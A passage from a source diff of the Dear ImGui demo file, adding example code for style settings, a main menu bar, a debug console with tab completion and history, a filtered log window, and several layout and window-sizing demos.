atlas->Fonts.Size; i++) + { + ImFont* font = atlas->Fonts[i]; + ImGui::PushID(font); + NodeFont(font); + ImGui::PopID(); + } + if (ImGui::TreeNode("Atlas texture", "Atlas texture (%dx%d pixels)", atlas->TexWidth, atlas->TexHeight)) + { + ImVec4 tint_col = ImVec4(1.0f, 1.0f, 1.0f, 1.0f); + ImVec4 border_col = ImVec4(1.0f, 1.0f, 1.0f, 0.5f); + ImGui::Image(atlas->TexID, ImVec2((float)atlas->TexWidth, (float)atlas->TexHeight), ImVec2(0, 0), ImVec2(1, 1), tint_col, border_col); + ImGui::TreePop(); + } + + // Post-baking font scaling. Note that this is NOT the nice way of scaling fonts, read below. + // (we enforce hard clamping manually as by default DragFloat/SliderFloat allows CTRL+Click text to get out of bounds). + const float MIN_SCALE = 0.3f; + const float MAX_SCALE = 2.0f; + HelpMarker( + "Those are old settings provided for convenience.\n" + "However, the _correct_ way of scaling your UI is currently to reload your font at the designed size, " + "rebuild the font atlas, and call style.ScaleAllSizes() on a reference ImGuiStyle structure.\n" + "Using those settings here will give you poor quality results."); + static float window_scale = 1.0f; + if (ImGui::DragFloat("window scale", &window_scale, 0.005f, MIN_SCALE, MAX_SCALE, "%.2f", ImGuiSliderFlags_AlwaysClamp)) // Scale only this window + ImGui::SetWindowFontScale(window_scale); + ImGui::DragFloat("global scale", &io.FontGlobalScale, 0.005f, MIN_SCALE, MAX_SCALE, "%.2f", ImGuiSliderFlags_AlwaysClamp); // Scale everything + ImGui::PopItemWidth(); + + ImGui::EndTabItem(); + } + + if (ImGui::BeginTabItem("Rendering")) + { + ImGui::Checkbox("Anti-aliased lines", &style.AntiAliasedLines); + ImGui::SameLine(); + HelpMarker("When disabling anti-aliasing lines, you'll probably want to disable borders in your style as well."); + + ImGui::Checkbox("Anti-aliased lines use texture", &style.AntiAliasedLinesUseTex); + ImGui::SameLine(); + HelpMarker("Faster lines using texture data. Require backend to render with bilinear filtering (not point/nearest filtering)."); + + ImGui::Checkbox("Anti-aliased fill", &style.AntiAliasedFill); + ImGui::PushItemWidth(100); + ImGui::DragFloat("Curve Tessellation Tolerance", &style.CurveTessellationTol, 0.02f, 0.10f, 10.0f, "%.2f"); + if (style.CurveTessellationTol < 0.10f) style.CurveTessellationTol = 0.10f; + + // When editing the "Circle Segment Max Error" value, draw a preview of its effect on auto-tessellated circles. + ImGui::DragFloat("Circle Segment Max Error", &style.CircleSegmentMaxError, 0.01f, 0.10f, 10.0f, "%.2f"); + if (ImGui::IsItemActive()) + { + ImGui::SetNextWindowPos(ImGui::GetCursorScreenPos()); + ImGui::BeginTooltip(); + ImVec2 p = ImGui::GetCursorScreenPos(); + ImDrawList* draw_list = ImGui::GetWindowDrawList(); + float RAD_MIN = 10.0f, RAD_MAX = 80.0f; + float off_x = 10.0f; + for (int n = 0; n < 7; n++) + { + const float rad = RAD_MIN + (RAD_MAX - RAD_MIN) * (float)n / (7.0f - 1.0f); + draw_list->AddCircle(ImVec2(p.x + off_x + rad, p.y + RAD_MAX), rad, ImGui::GetColorU32(ImGuiCol_Text), 0); + off_x += 10.0f + rad * 2.0f; + } + ImGui::Dummy(ImVec2(off_x, RAD_MAX * 2.0f)); + ImGui::EndTooltip(); + } + ImGui::SameLine(); + HelpMarker("When drawing circle primitives with \"num_segments == 0\" tesselation will be calculated automatically."); + + ImGui::DragFloat("Global Alpha", &style.Alpha, 0.005f, 0.20f, 1.0f, "%.2f"); // Not exposing zero here so user doesn't "lose" the UI (zero alpha clips all widgets). But application code could have a toggle to switch between zero and non-zero. + ImGui::PopItemWidth(); + + ImGui::EndTabItem(); + } + + ImGui::EndTabBar(); + } + + ImGui::PopItemWidth(); +} + +//----------------------------------------------------------------------------- +// [SECTION] Example App: Main Menu Bar / ShowExampleAppMainMenuBar() +//----------------------------------------------------------------------------- +// - ShowExampleAppMainMenuBar() +// - ShowExampleMenuFile() +//----------------------------------------------------------------------------- + +// Demonstrate creating a "main" fullscreen menu bar and populating it. +// Note the difference between BeginMainMenuBar() and BeginMenuBar(): +// - BeginMenuBar() = menu-bar inside current window (which needs the ImGuiWindowFlags_MenuBar flag!) +// - BeginMainMenuBar() = helper to create menu-bar-sized window at the top of the main viewport + call BeginMenuBar() into it. +static void ShowExampleAppMainMenuBar() +{ + if (ImGui::BeginMainMenuBar()) + { + if (ImGui::BeginMenu("File")) + { + ShowExampleMenuFile(); + ImGui::EndMenu(); + } + if (ImGui::BeginMenu("Edit")) + { + if (ImGui::MenuItem("Undo", "CTRL+Z")) {} + if (ImGui::MenuItem("Redo", "CTRL+Y", false, false)) {} // Disabled item + ImGui::Separator(); + if (ImGui::MenuItem("Cut", "CTRL+X")) {} + if (ImGui::MenuItem("Copy", "CTRL+C")) {} + if (ImGui::MenuItem("Paste", "CTRL+V")) {} + ImGui::EndMenu(); + } + ImGui::EndMainMenuBar(); + } +} + +// Note that shortcuts are currently provided for display only +// (future version will add explicit flags to BeginMenu() to request processing shortcuts) +static void ShowExampleMenuFile() +{ + ImGui::MenuItem("(demo menu)", NULL, false, false); + if (ImGui::MenuItem("New")) {} + if (ImGui::MenuItem("Open", "Ctrl+O")) {} + if (ImGui::BeginMenu("Open Recent")) + { + ImGui::MenuItem("fish_hat.c"); + ImGui::MenuItem("fish_hat.inl"); + ImGui::MenuItem("fish_hat.h"); + if (ImGui::BeginMenu("More..")) + { + ImGui::MenuItem("Hello"); + ImGui::MenuItem("Sailor"); + if (ImGui::BeginMenu("Recurse..")) + { + ShowExampleMenuFile(); + ImGui::EndMenu(); + } + ImGui::EndMenu(); + } + ImGui::EndMenu(); + } + if (ImGui::MenuItem("Save", "Ctrl+S")) {} + if (ImGui::MenuItem("Save As..")) {} + + ImGui::Separator(); + if (ImGui::BeginMenu("Options")) + { + static bool enabled = true; + ImGui::MenuItem("Enabled", "", &enabled); + ImGui::BeginChild("child", ImVec2(0, 60), true); + for (int i = 0; i < 10; i++) + ImGui::Text("Scrolling Text %d", i); + ImGui::EndChild(); + static float f = 0.5f; + static int n = 0; + ImGui::SliderFloat("Value", &f, 0.0f, 1.0f); + ImGui::InputFloat("Input", &f, 0.1f); + ImGui::Combo("Combo", &n, "Yes\0No\0Maybe\0\0"); + ImGui::EndMenu(); + } + + if (ImGui::BeginMenu("Colors")) + { + float sz = ImGui::GetTextLineHeight(); + for (int i = 0; i < ImGuiCol_COUNT; i++) + { + const char* name = ImGui::GetStyleColorName((ImGuiCol)i); + ImVec2 p = ImGui::GetCursorScreenPos(); + ImGui::GetWindowDrawList()->AddRectFilled(p, ImVec2(p.x + sz, p.y + sz), ImGui::GetColorU32((ImGuiCol)i)); + ImGui::Dummy(ImVec2(sz, sz)); + ImGui::SameLine(); + ImGui::MenuItem(name); + } + ImGui::EndMenu(); + } + + // Here we demonstrate appending again to the "Options" menu (which we already created above) + // Of course in this demo it is a little bit silly that this function calls BeginMenu("Options") twice. + // In a real code-base using it would make senses to use this feature from very different code locations. + if (ImGui::BeginMenu("Options")) // <-- Append! + { + static bool b = true; + ImGui::Checkbox("SomeOption", &b); + ImGui::EndMenu(); + } + + if (ImGui::BeginMenu("Disabled", false)) // Disabled + { + IM_ASSERT(0); + } + if (ImGui::MenuItem("Checked", NULL, true)) {} + if (ImGui::MenuItem("Quit", "Alt+F4")) {} +} + +//----------------------------------------------------------------------------- +// [SECTION] Example App: Debug Console / ShowExampleAppConsole() +//----------------------------------------------------------------------------- + +// Demonstrate creating a simple console window, with scrolling, filtering, completion and history. +// For the console example, we are using a more C++ like approach of declaring a class to hold both data and functions. +struct ExampleAppConsole +{ + char InputBuf[256]; + ImVector Items; + ImVector Commands; + ImVector History; + int HistoryPos; // -1: new line, 0..History.Size-1 browsing history. + ImGuiTextFilter Filter; + bool AutoScroll; + bool ScrollToBottom; + + ExampleAppConsole() + { + ClearLog(); + memset(InputBuf, 0, sizeof(InputBuf)); + HistoryPos = -1; + + // "CLASSIFY" is here to provide the test case where "C"+[tab] completes to "CL" and display multiple matches. + Commands.push_back("HELP"); + Commands.push_back("HISTORY"); + Commands.push_back("CLEAR"); + Commands.push_back("CLASSIFY"); + AutoScroll = true; + ScrollToBottom = false; + AddLog("Welcome to Dear ImGui!"); + } + ~ExampleAppConsole() + { + ClearLog(); + for (int i = 0; i < History.Size; i++) + free(History[i]); + } + + // Portable helpers + static int Stricmp(const char* s1, const char* s2) { int d; while ((d = toupper(*s2) - toupper(*s1)) == 0 && *s1) { s1++; s2++; } return d; } + static int Strnicmp(const char* s1, const char* s2, int n) { int d = 0; while (n > 0 && (d = toupper(*s2) - toupper(*s1)) == 0 && *s1) { s1++; s2++; n--; } return d; } + static char* Strdup(const char* s) { size_t len = strlen(s) + 1; void* buf = malloc(len); IM_ASSERT(buf); return (char*)memcpy(buf, (const void*)s, len); } + static void Strtrim(char* s) { char* str_end = s + strlen(s); while (str_end > s && str_end[-1] == ' ') str_end--; *str_end = 0; } + + void ClearLog() + { + for (int i = 0; i < Items.Size; i++) + free(Items[i]); + Items.clear(); + } + + void AddLog(const char* fmt, ...) IM_FMTARGS(2) + { + // FIXME-OPT + char buf[1024]; + va_list args; + va_start(args, fmt); + vsnprintf(buf, IM_ARRAYSIZE(buf), fmt, args); + buf[IM_ARRAYSIZE(buf)-1] = 0; + va_end(args); + Items.push_back(Strdup(buf)); + } + + void Draw(const char* title, bool* p_open) + { + ImGui::SetNextWindowSize(ImVec2(520, 600), ImGuiCond_FirstUseEver); + if (!ImGui::Begin(title, p_open)) + { + ImGui::End(); + return; + } + + // As a specific feature guaranteed by the library, after calling Begin() the last Item represent the title bar. + // So e.g. IsItemHovered() will return true when hovering the title bar. + // Here we create a context menu only available from the title bar. + if (ImGui::BeginPopupContextItem()) + { + if (ImGui::MenuItem("Close Console")) + *p_open = false; + ImGui::EndPopup(); + } + + ImGui::TextWrapped( + "This example implements a console with basic coloring, completion (TAB key) and history (Up/Down keys). A more elaborate " + "implementation may want to store entries along with extra data such as timestamp, emitter, etc."); + ImGui::TextWrapped("Enter 'HELP' for help."); + + // TODO: display items starting from the bottom + + if (ImGui::SmallButton("Add Debug Text")) { AddLog("%d some text", Items.Size); AddLog("some more text"); AddLog("display very important message here!"); } + ImGui::SameLine(); + if (ImGui::SmallButton("Add Debug Error")) { AddLog("[error] something went wrong"); } + ImGui::SameLine(); + if (ImGui::SmallButton("Clear")) { ClearLog(); } + ImGui::SameLine(); + bool copy_to_clipboard = ImGui::SmallButton("Copy"); + //static float t = 0.0f; if (ImGui::GetTime() - t > 0.02f) { t = ImGui::GetTime(); AddLog("Spam %f", t); } + + ImGui::Separator(); + + // Options menu + if (ImGui::BeginPopup("Options")) + { + ImGui::Checkbox("Auto-scroll", &AutoScroll); + ImGui::EndPopup(); + } + + // Options, Filter + if (ImGui::Button("Options")) + ImGui::OpenPopup("Options"); + ImGui::SameLine(); + Filter.Draw("Filter (\"incl,-excl\") (\"error\")", 180); + ImGui::Separator(); + + // Reserve enough left-over height for 1 separator + 1 input text + const float footer_height_to_reserve = ImGui::GetStyle().ItemSpacing.y + ImGui::GetFrameHeightWithSpacing(); + ImGui::BeginChild("ScrollingRegion", ImVec2(0, -footer_height_to_reserve), false, ImGuiWindowFlags_HorizontalScrollbar); + if (ImGui::BeginPopupContextWindow()) + { + if (ImGui::Selectable("Clear")) ClearLog(); + ImGui::EndPopup(); + } + + // Display every line as a separate entry so we can change their color or add custom widgets. + // If you only want raw text you can use ImGui::TextUnformatted(log.begin(), log.end()); + // NB- if you have thousands of entries this approach may be too inefficient and may require user-side clipping + // to only process visible items. The clipper will automatically measure the height of your first item and then + // "seek" to display only items in the visible area. + // To use the clipper we can replace your standard loop: + // for (int i = 0; i < Items.Size; i++) + // With: + // ImGuiListClipper clipper; + // clipper.Begin(Items.Size); + // while (clipper.Step()) + // for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++) + // - That your items are evenly spaced (same height) + // - That you have cheap random access to your elements (you can access them given their index, + // without processing all the ones before) + // You cannot this code as-is if a filter is active because it breaks the 'cheap random-access' property. + // We would need random-access on the post-filtered list. + // A typical application wanting coarse clipping and filtering may want to pre-compute an array of indices + // or offsets of items that passed the filtering test, recomputing this array when user changes the filter, + // and appending newly elements as they are inserted. This is left as a task to the user until we can manage + // to improve this example code! + // If your items are of variable height: + // - Split them into same height items would be simpler and facilitate random-seeking into your list. + // - Consider using manual call to IsRectVisible() and skipping extraneous decoration from your items. + ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(4, 1)); // Tighten spacing + if (copy_to_clipboard) + ImGui::LogToClipboard(); + for (int i = 0; i < Items.Size; i++) + { + const char* item = Items[i]; + if (!Filter.PassFilter(item)) + continue; + + // Normally you would store more information in your item than just a string. + // (e.g. make Items[] an array of structure, store color/type etc.) + ImVec4 color; + bool has_color = false; + if (strstr(item, "[error]")) { color = ImVec4(1.0f, 0.4f, 0.4f, 1.0f); has_color = true; } + else if (strncmp(item, "# ", 2) == 0) { color = ImVec4(1.0f, 0.8f, 0.6f, 1.0f); has_color = true; } + if (has_color) + ImGui::PushStyleColor(ImGuiCol_Text, color); + ImGui::TextUnformatted(item); + if (has_color) + ImGui::PopStyleColor(); + } + if (copy_to_clipboard) + ImGui::LogFinish(); + + if (ScrollToBottom || (AutoScroll && ImGui::GetScrollY() >= ImGui::GetScrollMaxY())) + ImGui::SetScrollHereY(1.0f); + ScrollToBottom = false; + + ImGui::PopStyleVar(); + ImGui::EndChild(); + ImGui::Separator(); + + // Command-line + bool reclaim_focus = false; + ImGuiInputTextFlags input_text_flags = ImGuiInputTextFlags_EnterReturnsTrue | ImGuiInputTextFlags_CallbackCompletion | ImGuiInputTextFlags_CallbackHistory; + if (ImGui::InputText("Input", InputBuf, IM_ARRAYSIZE(InputBuf), input_text_flags, &TextEditCallbackStub, (void*)this)) + { + char* s = InputBuf; + Strtrim(s); + if (s[0]) + ExecCommand(s); + strcpy(s, ""); + reclaim_focus = true; + } + + // Auto-focus on window apparition + ImGui::SetItemDefaultFocus(); + if (reclaim_focus) + ImGui::SetKeyboardFocusHere(-1); // Auto focus previous widget + + ImGui::End(); + } + + void ExecCommand(const char* command_line) + { + AddLog("# %s\n", command_line); + + // Insert into history. First find match and delete it so it can be pushed to the back. + // This isn't trying to be smart or optimal. + HistoryPos = -1; + for (int i = History.Size - 1; i >= 0; i--) + if (Stricmp(History[i], command_line) == 0) + { + free(History[i]); + History.erase(History.begin() + i); + break; + } + History.push_back(Strdup(command_line)); + + // Process command + if (Stricmp(command_line, "CLEAR") == 0) + { + ClearLog(); + } + else if (Stricmp(command_line, "HELP") == 0) + { + AddLog("Commands:"); + for (int i = 0; i < Commands.Size; i++) + AddLog("- %s", Commands[i]); + } + else if (Stricmp(command_line, "HISTORY") == 0) + { + int first = History.Size - 10; + for (int i = first > 0 ? first : 0; i < History.Size; i++) + AddLog("%3d: %s\n", i, History[i]); + } + else + { + AddLog("Unknown command: '%s'\n", command_line); + } + + // On command input, we scroll to bottom even if AutoScroll==false + ScrollToBottom = true; + } + + // In C++11 you'd be better off using lambdas for this sort of forwarding callbacks + static int TextEditCallbackStub(ImGuiInputTextCallbackData* data) + { + ExampleAppConsole* console = (ExampleAppConsole*)data->UserData; + return console->TextEditCallback(data); + } + + int TextEditCallback(ImGuiInputTextCallbackData* data) + { + //AddLog("cursor: %d, selection: %d-%d", data->CursorPos, data->SelectionStart, data->SelectionEnd); + switch (data->EventFlag) + { + case ImGuiInputTextFlags_CallbackCompletion: + { + // Example of TEXT COMPLETION + + // Locate beginning of current word + const char* word_end = data->Buf + data->CursorPos; + const char* word_start = word_end; + while (word_start > data->Buf) + { + const char c = word_start[-1]; + if (c == ' ' || c == '\t' || c == ',' || c == ';') + break; + word_start--; + } + + // Build a list of candidates + ImVector candidates; + for (int i = 0; i < Commands.Size; i++) + if (Strnicmp(Commands[i], word_start, (int)(word_end - word_start)) == 0) + candidates.push_back(Commands[i]); + + if (candidates.Size == 0) + { + // No match + AddLog("No match for \"%.*s\"!\n", (int)(word_end - word_start), word_start); + } + else if (candidates.Size == 1) + { + // Single match. Delete the beginning of the word and replace it entirely so we've got nice casing. + data->DeleteChars((int)(word_start - data->Buf), (int)(word_end - word_start)); + data->InsertChars(data->CursorPos, candidates[0]); + data->InsertChars(data->CursorPos, " "); + } + else + { + // Multiple matches. Complete as much as we can.. + // So inputing "C"+Tab will complete to "CL" then display "CLEAR" and "CLASSIFY" as matches. + int match_len = (int)(word_end - word_start); + for (;;) + { + int c = 0; + bool all_candidates_matches = true; + for (int i = 0; i < candidates.Size && all_candidates_matches; i++) + if (i == 0) + c = toupper(candidates[i][match_len]); + else if (c == 0 || c != toupper(candidates[i][match_len])) + all_candidates_matches = false; + if (!all_candidates_matches) + break; + match_len++; + } + + if (match_len > 0) + { + data->DeleteChars((int)(word_start - data->Buf), (int)(word_end - word_start)); + data->InsertChars(data->CursorPos, candidates[0], candidates[0] + match_len); + } + + // List matches + AddLog("Possible matches:\n"); + for (int i = 0; i < candidates.Size; i++) + AddLog("- %s\n", candidates[i]); + } + + break; + } + case ImGuiInputTextFlags_CallbackHistory: + { + // Example of HISTORY + const int prev_history_pos = HistoryPos; + if (data->EventKey == ImGuiKey_UpArrow) + { + if (HistoryPos == -1) + HistoryPos = History.Size - 1; + else if (HistoryPos > 0) + HistoryPos--; + } + else if (data->EventKey == ImGuiKey_DownArrow) + { + if (HistoryPos != -1) + if (++HistoryPos >= History.Size) + HistoryPos = -1; + } + + // A better implementation would preserve the data on the current input line along with cursor position. + if (prev_history_pos != HistoryPos) + { + const char* history_str = (HistoryPos >= 0) ? History[HistoryPos] : ""; + data->DeleteChars(0, data->BufTextLen); + data->InsertChars(0, history_str); + } + } + } + return 0; + } +}; + +static void ShowExampleAppConsole(bool* p_open) +{ + static ExampleAppConsole console; + console.Draw("Example: Console", p_open); +} + +//----------------------------------------------------------------------------- +// [SECTION] Example App: Debug Log / ShowExampleAppLog() +//----------------------------------------------------------------------------- + +// Usage: +// static ExampleAppLog my_log; +// my_log.AddLog("Hello %d world\n", 123); +// my_log.Draw("title"); +struct ExampleAppLog +{ + ImGuiTextBuffer Buf; + ImGuiTextFilter Filter; + ImVector LineOffsets; // Index to lines offset. We maintain this with AddLog() calls. + bool AutoScroll; // Keep scrolling if already at the bottom. + + ExampleAppLog() + { + AutoScroll = true; + Clear(); + } + + void Clear() + { + Buf.clear(); + LineOffsets.clear(); + LineOffsets.push_back(0); + } + + void AddLog(const char* fmt, ...) IM_FMTARGS(2) + { + int old_size = Buf.size(); + va_list args; + va_start(args, fmt); + Buf.appendfv(fmt, args); + va_end(args); + for (int new_size = Buf.size(); old_size < new_size; old_size++) + if (Buf[old_size] == '\n') + LineOffsets.push_back(old_size + 1); + } + + void Draw(const char* title, bool* p_open = NULL) + { + if (!ImGui::Begin(title, p_open)) + { + ImGui::End(); + return; + } + + // Options menu + if (ImGui::BeginPopup("Options")) + { + ImGui::Checkbox("Auto-scroll", &AutoScroll); + ImGui::EndPopup(); + } + + // Main window + if (ImGui::Button("Options")) + ImGui::OpenPopup("Options"); + ImGui::SameLine(); + bool clear = ImGui::Button("Clear"); + ImGui::SameLine(); + bool copy = ImGui::Button("Copy"); + ImGui::SameLine(); + Filter.Draw("Filter", -100.0f); + + ImGui::Separator(); + ImGui::BeginChild("scrolling", ImVec2(0, 0), false, ImGuiWindowFlags_HorizontalScrollbar); + + if (clear) + Clear(); + if (copy) + ImGui::LogToClipboard(); + + ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0, 0)); + const char* buf = Buf.begin(); + const char* buf_end = Buf.end(); + if (Filter.IsActive()) + { + // In this example we don't use the clipper when Filter is enabled. + // This is because we don't have a random access on the result on our filter. + // A real application processing logs with ten of thousands of entries may want to store the result of + // search/filter.. especially if the filtering function is not trivial (e.g. reg-exp). + for (int line_no = 0; line_no < LineOffsets.Size; line_no++) + { + const char* line_start = buf + LineOffsets[line_no]; + const char* line_end = (line_no + 1 < LineOffsets.Size) ? (buf + LineOffsets[line_no + 1] - 1) : buf_end; + if (Filter.PassFilter(line_start, line_end)) + ImGui::TextUnformatted(line_start, line_end); + } + } + else + { + // The simplest and easy way to display the entire buffer: + // ImGui::TextUnformatted(buf_begin, buf_end); + // And it'll just work. TextUnformatted() has specialization for large blob of text and will fast-forward + // to skip non-visible lines. Here we instead demonstrate using the clipper to only process lines that are + // within the visible area. + // If you have tens of thousands of items and their processing cost is non-negligible, coarse clipping them + // on your side is recommended. Using ImGuiListClipper requires + // - A) random access into your data + // - B) items all being the same height, + // both of which we can handle since we an array pointing to the beginning of each line of text. + // When using the filter (in the block of code above) we don't have random access into the data to display + // anymore, which is why we don't use the clipper. Storing or skimming through the search result would make + // it possible (and would be recommended if you want to search through tens of thousands of entries). + ImGuiListClipper clipper; + clipper.Begin(LineOffsets.Size); + while (clipper.Step()) + { + for (int line_no = clipper.DisplayStart; line_no < clipper.DisplayEnd; line_no++) + { + const char* line_start = buf + LineOffsets[line_no]; + const char* line_end = (line_no + 1 < LineOffsets.Size) ? (buf + LineOffsets[line_no + 1] - 1) : buf_end; + ImGui::TextUnformatted(line_start, line_end); + } + } + clipper.End(); + } + ImGui::PopStyleVar(); + + if (AutoScroll && ImGui::GetScrollY() >= ImGui::GetScrollMaxY()) + ImGui::SetScrollHereY(1.0f); + + ImGui::EndChild(); + ImGui::End(); + } +}; + +// Demonstrate creating a simple log window with basic filtering. +static void ShowExampleAppLog(bool* p_open) +{ + static ExampleAppLog log; + + // For the demo: add a debug button _BEFORE_ the normal log window contents + // We take advantage of a rarely used feature: multiple calls to Begin()/End() are appending to the _same_ window. + // Most of the contents of the window will be added by the log.Draw() call. + ImGui::SetNextWindowSize(ImVec2(500, 400), ImGuiCond_FirstUseEver); + ImGui::Begin("Example: Log", p_open); + if (ImGui::SmallButton("[Debug] Add 5 entries")) + { + static int counter = 0; + const char* categories[3] = { "info", "warn", "error" }; + const char* words[] = { "Bumfuzzled", "Cattywampus", "Snickersnee", "Abibliophobia", "Absquatulate", "Nincompoop", "Pauciloquent" }; + for (int n = 0; n < 5; n++) + { + const char* category = categories[counter % IM_ARRAYSIZE(categories)]; + const char* word = words[counter % IM_ARRAYSIZE(words)]; + log.AddLog("[%05d] [%s] Hello, current time is %.1f, here's a word: '%s'\n", + ImGui::GetFrameCount(), category, ImGui::GetTime(), word); + counter++; + } + } + ImGui::End(); + + // Actually call in the regular Log helper (which will Begin() into the same window as we just did) + log.Draw("Example: Log", p_open); +} + +//----------------------------------------------------------------------------- +// [SECTION] Example App: Simple Layout / ShowExampleAppLayout() +//----------------------------------------------------------------------------- + +// Demonstrate create a window with multiple child windows. +static void ShowExampleAppLayout(bool* p_open) +{ + ImGui::SetNextWindowSize(ImVec2(500, 440), ImGuiCond_FirstUseEver); + if (ImGui::Begin("Example: Simple layout", p_open, ImGuiWindowFlags_MenuBar)) + { + if (ImGui::BeginMenuBar()) + { + if (ImGui::BeginMenu("File")) + { + if (ImGui::MenuItem("Close")) *p_open = false; + ImGui::EndMenu(); + } + ImGui::EndMenuBar(); + } + + // Left + static int selected = 0; + { + ImGui::BeginChild("left pane", ImVec2(150, 0), true); + for (int i = 0; i < 100; i++) + { + char label[128]; + sprintf(label, "MyObject %d", i); + if (ImGui::Selectable(label, selected == i)) + selected = i; + } + ImGui::EndChild(); + } + ImGui::SameLine(); + + // Right + { + ImGui::BeginGroup(); + ImGui::BeginChild("item view", ImVec2(0, -ImGui::GetFrameHeightWithSpacing())); // Leave room for 1 line below us + ImGui::Text("MyObject: %d", selected); + ImGui::Separator(); + if (ImGui::BeginTabBar("##Tabs", ImGuiTabBarFlags_None)) + { + if (ImGui::BeginTabItem("Description")) + { + ImGui::TextWrapped("Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. "); + ImGui::EndTabItem(); + } + if (ImGui::BeginTabItem("Details")) + { + ImGui::Text("ID: 0123456789"); + ImGui::EndTabItem(); + } + ImGui::EndTabBar(); + } + ImGui::EndChild(); + if (ImGui::Button("Revert")) {} + ImGui::SameLine(); + if (ImGui::Button("Save")) {} + ImGui::EndGroup(); + } + } + ImGui::End(); +} + +//----------------------------------------------------------------------------- +// [SECTION] Example App: Property Editor / ShowExampleAppPropertyEditor() +//----------------------------------------------------------------------------- + +static void ShowPlaceholderObject(const char* prefix, int uid) +{ + // Use object uid as identifier. Most commonly you could also use the object pointer as a base ID. + ImGui::PushID(uid); + + // Text and Tree nodes are less high than framed widgets, using AlignTextToFramePadding() we add vertical spacing to make the tree lines equal high. + ImGui::TableNextRow(); + ImGui::TableSetColumnIndex(0); + ImGui::AlignTextToFramePadding(); + bool node_open = ImGui::TreeNode("Object", "%s_%u", prefix, uid); + ImGui::TableSetColumnIndex(1); + ImGui::Text("my sailor is rich"); + + if (node_open) + { + static float placeholder_members[8] = { 0.0f, 0.0f, 1.0f, 3.1416f, 100.0f, 999.0f }; + for (int i = 0; i < 8; i++) + { + ImGui::PushID(i); // Use field index as identifier. + if (i < 2) + { + ShowPlaceholderObject("Child", 424242); + } + else + { + // Here we use a TreeNode to highlight on hover (we could use e.g. Selectable as well) + ImGui::TableNextRow(); + ImGui::TableSetColumnIndex(0); + ImGui::AlignTextToFramePadding(); + ImGuiTreeNodeFlags flags = ImGuiTreeNodeFlags_Leaf | ImGuiTreeNodeFlags_NoTreePushOnOpen | ImGuiTreeNodeFlags_Bullet; + ImGui::TreeNodeEx("Field", flags, "Field_%d", i); + + ImGui::TableSetColumnIndex(1); + ImGui::SetNextItemWidth(-FLT_MIN); + if (i >= 5) + ImGui::InputFloat("##value", &placeholder_members[i], 1.0f); + else + ImGui::DragFloat("##value", &placeholder_members[i], 0.01f); + ImGui::NextColumn(); + } + ImGui::PopID(); + } + ImGui::TreePop(); + } + ImGui::PopID(); +} + +// Demonstrate create a simple property editor. +static void ShowExampleAppPropertyEditor(bool* p_open) +{ + ImGui::SetNextWindowSize(ImVec2(430, 450), ImGuiCond_FirstUseEver); + if (!ImGui::Begin("Example: Property editor", p_open)) + { + ImGui::End(); + return; + } + + HelpMarker( + "This example shows how you may implement a property editor using two columns.\n" + "All objects/fields data are dummies here.\n" + "Remember that in many simple cases, you can use ImGui::SameLine(xxx) to position\n" + "your cursor horizontally instead of using the Columns() API."); + + ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(2, 2)); + if (ImGui::BeginTable("split", 2, ImGuiTableFlags_BordersOuter | ImGuiTableFlags_Resizable)) + { + // Iterate placeholder objects (all the same data) + for (int obj_i = 0; obj_i < 4; obj_i++) + { + ShowPlaceholderObject("Object", obj_i); + //ImGui::Separator(); + } + ImGui::EndTable(); + } + ImGui::PopStyleVar(); + ImGui::End(); +} + +//----------------------------------------------------------------------------- +// [SECTION] Example App: Long Text / ShowExampleAppLongText() +//----------------------------------------------------------------------------- + +// Demonstrate/test rendering huge amount of text, and the incidence of clipping. +static void ShowExampleAppLongText(bool* p_open) +{ + ImGui::SetNextWindowSize(ImVec2(520, 600), ImGuiCond_FirstUseEver); + if (!ImGui::Begin("Example: Long text display", p_open)) + { + ImGui::End(); + return; + } + + static int test_type = 0; + static ImGuiTextBuffer log; + static int lines = 0; + ImGui::Text("Printing unusually long amount of text."); + ImGui::Combo("Test type", &test_type, + "Single call to TextUnformatted()\0" + "Multiple calls to Text(), clipped\0" + "Multiple calls to Text(), not clipped (slow)\0"); + ImGui::Text("Buffer contents: %d lines, %d bytes", lines, log.size()); + if (ImGui::Button("Clear")) { log.clear(); lines = 0; } + ImGui::SameLine(); + if (ImGui::Button("Add 1000 lines")) + { + for (int i = 0; i < 1000; i++) + log.appendf("%i The quick brown fox jumps over the lazy dog\n", lines + i); + lines += 1000; + } + ImGui::BeginChild("Log"); + switch (test_type) + { + case 0: + // Single call to TextUnformatted() with a big buffer + ImGui::TextUnformatted(log.begin(), log.end()); + break; + case 1: + { + // Multiple calls to Text(), manually coarsely clipped - demonstrate how to use the ImGuiListClipper helper. + ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0, 0)); + ImGuiListClipper clipper; + clipper.Begin(lines); + while (clipper.Step()) + for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++) + ImGui::Text("%i The quick brown fox jumps over the lazy dog", i); + ImGui::PopStyleVar(); + break; + } + case 2: + // Multiple calls to Text(), not clipped (slow) + ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0, 0)); + for (int i = 0; i < lines; i++) + ImGui::Text("%i The quick brown fox jumps over the lazy dog", i); + ImGui::PopStyleVar(); + break; + } + ImGui::EndChild(); + ImGui::End(); +} + +//----------------------------------------------------------------------------- +// [SECTION] Example App: Auto Resize / ShowExampleAppAutoResize() +//----------------------------------------------------------------------------- + +// Demonstrate creating a window which gets auto-resized according to its content. +static void ShowExampleAppAutoResize(bool* p_open) +{ + if (!ImGui::Begin("Example: Auto-resizing window", p_open, ImGuiWindowFlags_AlwaysAutoResize)) + { + ImGui::End(); + return; + } + + static int lines = 10; + ImGui::TextUnformatted( + "Window will resize every-frame to the size of its content.\n" + "Note that you probably don't want to query the window size to\n" + "output your content because that would create a feedback loop."); + ImGui::SliderInt("Number of lines", &lines, 1, 20); + for (int i = 0; i < lines; i++) + ImGui::Text("%*sThis is line %d", i * 4, "", i); // Pad with space to extend size horizontally + ImGui::End(); +} + +//----------------------------------------------------------------------------- +// [SECTION] Example App: Constrained Resize / ShowExampleAppConstrainedResize() +//----------------------------------------------------------------------------- + +// Demonstrate creating a window with custom resize constraints. +static void ShowExampleAppConstrainedResize(bool* p_open) +{ + struct CustomConstraints + { + // Helper functions to demonstrate programmatic constraints + static void 